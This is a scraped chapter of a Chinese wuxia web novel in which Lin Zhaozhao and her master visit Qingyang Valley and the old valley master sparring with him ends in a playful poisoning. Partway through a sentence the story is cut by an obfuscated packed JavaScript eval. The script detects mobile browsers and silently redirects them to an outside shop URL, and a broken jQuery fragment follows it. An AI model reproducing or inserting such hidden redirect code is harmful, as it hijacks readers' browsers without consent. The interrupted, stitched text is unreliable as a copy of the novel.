林昭昭手上的柴禾往地上一抛:“你们两个老家伙怎么还做起保媒拉纤的活儿来了?我劝你少操这份心,本姑娘就这么逍遥自在的挺好。”
“哎哎哎,怎么说话呢,方才还说我看着四十出头,如今就成老家伙了,不过是两个长辈觉得各自的孩子不错,引荐引荐,我反正无所谓,你愿意在这五荒山上跟我过,不过每日多吃两个鸡蛋一斗米,你若是愿意去青羊谷做谷主夫人,也算是我尽了做长辈的本分,给你选了个太平去处,听说那新谷主白清的功夫,连同你一道的那小丫头都不如,可不是任你捏圆搓扁了。”
程峰边说,边不自在地揉着鼻子,这小丫头怎么就长这么大了,大到需要考虑婚嫁之事的地步,他自己也是孤家寡人一个,张罗吧,又恐小丫头嫌他啰嗦,不张罗吧,又恐误了这小丫头的终身。
林昭昭从小在山林里野大的,于男女之事上本就不怎么开窍,程峰想着,如果青羊谷真有这个心,试一试也好,青羊谷的人与世无争,本就善良敦厚,两位长辈又有旧交,不至于薄待了林昭昭。
“闲事休提,青羊谷我自然是要去的,总得见一见白皎,让她宽心,至于我的婚嫁,我自有主意。”青羊谷虽对她有恩,但以身相许的桥段也未免太过俗套,林昭昭不以为意,自顾自地拉她的风箱。
“你这出去一趟,没叫哪个不知天高地厚的小子哄骗去了吧?那个镇抚司……”
“师父!这都哪跟哪儿啊,我和陆指挥使就是萍水相逢,他帮过我,我也帮了他,算是相识一场罢了。”
滋啦一声,菜下了锅,两个人的话头就此截住,程峰一个单身汉,这事问得本就尴尬,一旦打住,也难再开口,也就作罢,师徒俩吃过晚饭,就各自安歇,预备明日出发往青羊谷走一趟。
这一走直走了小半个月,青羊谷地势偏僻,入谷颇费了些功夫,还未进谷,就有巡逻的弟子上前问话,程峰拿出了老谷主的信,说明了来意,两个弟子恭恭敬敬地行了礼,拿出避瘴的药丸,给二人服下。
青羊谷在密林之中,荆棘丛生,瘴气四溢,有了这避瘴的药丸,师徒俩的路走起来也就方便了许多,两人入了谷,谷主白清带了师妹白皎亲自来迎,按照老谷主的意思,也没有在正厅置宴,直接是往老谷主避世所居的圃园里领。
“林姑娘,如今见你平安无事,我也就安心了,要不是程师父给我留了信,告诉我你已经被他带回师门,我时时生怕你受蔷薇楼的奸人所害,当时是我亲自将你送到了六方手上,你若是出了事,我当真百死莫赎了。”
白皎向程峰行了礼,就走向了林昭昭身侧,两人分别了这些时日,正有一肚子的话要说,林昭昭将自己进入蔷薇楼后的见闻和盘托出,她是怎么被送入刘慷府上,又是怎么遇到了陆鸣筝,桩桩件件,白皎越听越是心惊。
“我就知道,这事断然和蔷薇楼脱不了干系,她们不仅同刑部有所牵扯,这城防司里也有她们的人,你们走之后,江湖盟的人就受城防司的人百般盘查,不得已只能退出京城,这一场闹剧,雷声大雨点小,就算是全部推到六方和霍玲身上了。”
说到此事,林昭昭也不免内疚:“当日若我能出现在蔷薇楼里,指认蔷薇楼与刘慷的交易,事情也不至于如此草率收场。”
白皎摇了摇头:“难道霍玲不是人证?难道我不是人证?只怕我们还是把蔷薇楼想得太简单了,他们在京中苦心经营了这么长时间,要想连根拔起,光凭我们一张嘴,根本办不到,朝廷上都是她们的人,要想依照江湖规矩讨一个公道,别说是身处京城之中,就是那些江湖盟的人,也是各有各的心思。”
“现如今要想对蔷薇楼动手,还得挖出她们的主事之人,我们离京这么长时间了,镇抚司的人应该已经到达海宁,不知道能从那里挖出多少线索……”
这边白皎和林昭昭正说着话,那边一根银枪从屋里射出,两人吃了一惊,侧身闪过,细看那柄银枪,正直直向程峰射去。
程峰不惊反笑,从旁抄起一把扫帚,绕银枪一旋,枪又射回屋内,紧接着林昭昭只见一个须发皆白的老头,左手拿着朝晖剑,右手握着银枪,从屋内飞身而出,到了她们跟前,将朝晖剑向程峰怀里一掷,两人就动起手来。
白皎看着林昭昭一笑:“这是我师父,越老越没个正形。”
“原来是老谷主。”
就连林昭昭,也有很多年没见师父正经同人过招了,当日在京城中与陆鸣筝一战,程峰还算有所留手,今日碰上白老谷主,两人两岁相仿,又是旧交,彼一交手,两人都拿出看家绝学,一时间院前飞沙走石,兵器相接之声响彻山谷。
这兵器之道,乃是一寸长一寸强,老谷主的一杆银枪,一贯是将对手困于一个难以进攻的境地,占尽先手,可偏偏既明派的踏星步,以出尘飘逸,动若流星著称,不论老谷主的长枪舞得再快,程峰也总有办法近身。
一困一脱,实在精彩,连白清也忍不住为程峰的身手叫好:“不怕姑娘笑话,我青羊谷弟子虽也是江湖中人,若论武力,只怕也就比普通人好上些许。我们这一辈里,武功最高的便是我这小师妹白皎,可要与师父相比,皎儿也是望尘莫及,师父在谷里难逢对手,今日程师父来了,难得他总算过了把瘾。”
林昭昭向白清笑道:“谷主不必自谦,青羊谷在江湖中立足,本就不靠武力,当日白皎在蔷薇楼用的那药粉属实厉害,只那么一洒,就叫人还手的本事也没有,况且青羊谷德名在外,不战而屈人之兵,这是上乘。”
白清方才陪着程峰,还未与林昭昭见礼,此时也微笑致意:“师门长辈既是旧交,我俩就算作同辈,林姑娘叫我白清就好。”
白清今年三十整,大了林昭昭足有十岁,又有一重谷主的身份在,林昭昭再怎么也不可能直呼其名,正巧那边程峰一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546089|141700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手旭日东升,挑落了老谷主手里的长枪,白皎道:“不好,我们家老谷主这是要输。”
谁知老谷主干脆弃了枪,袖子一扬,射出了数枚暗器,那些暗器一一被程峰躲过,只是一瞬之间,程峰已来到老谷主的身后,程峰反手将剑锋换做剑柄,抵在老谷主的背后:“怎么样,你服不服?”
“没想到一别十数年,你的功夫竟然还能精进,不像我,每日要授课、修书、练药,好好一手功夫,如今也荒废了不少,不是你的对手啦。”老谷主捋了捋胡须,语气里颇为落寞,毕竟当着徒儿辈的面,程峰也见好就收。
程峰嬉笑着收了剑,小声说道:“你个老东西,也忒矫情,你就承认我天资在你之上,也没什么丢人的。”
多年的老友见面,这打也打了,总归要好好进门叙旧,吃顿便饭了吧,程峰正准备和老谷主一道去见过几个小辈,没想到老谷主突然将怀中一个瓷瓶摔在地上,药粉纷纷扬扬散了一地。
程峰自知这青羊谷的毒粉,他就是躲也躲不及,直接张口骂道:“好你个不要脸的白华老贼,竟然用毒。“
老谷主伸出三个指头:“三。”
“二。”
“一。”
程峰应声倒地,面对满脸焦急,向他们跑过来的林昭昭三人,老谷主嘿嘿一笑:“这就叫兵不厌诈,你们三个也学着点。”
白皎试探了程峰的鼻息,又为程峰号了号脉,无奈地向老谷主说道:“师父真是越老越成个孩子了,人家远来是客,您不说好好招待着,一见面就动刀动枪就罢了,如今还用上了毒。”
“就是一点迷药,半柱香就醒,嘿嘿,你们都给我做个见证,这一场,可是他程峰输了。”十多年前,程峰为了让老谷主安心为林昭昭解毒,让了他半招,虽然赢了,可老谷主心里总还计较着,这一次又输在程峰手下,老爷子哪里肯甘心。
“师父。”白皎将程峰扶起来,靠着一旁的树干:“林姑娘还在呢。”
老谷主一回头,果然看见了林昭昭:“哎哟,小丫头,过来让我好好看看,这一转眼都长成大姑娘了。”
林昭昭跪下,向老谷主行了个大礼:“当年昭昭年少,老谷主的救命之恩未曾言谢,今日再见老谷主,还请受晚辈一拜。”
老谷主伸手扶起了林昭昭:“这么客气做什么,治病救人,是我医家的本分,何况你师父同我是年幼相识的交情,当初服下招魂引的若是他,只怕连我也回天乏术,可偏偏你这个小丫头替他挡了这一劫,算起来,还得是我谢谢你,不然今天恐怕连个能跟我动动手的老友都没有了。”
白清叫来了几个人,把程峰抬回里屋歇息,又命人在院内摆上一桌午饭,林昭昭跟在他们身后,一行人朝院内走出,正走着,丁二七突然出现在林昭昭身后。
“昭昭。”
林昭昭停下脚步,转身面对丁二七:“怎么了?”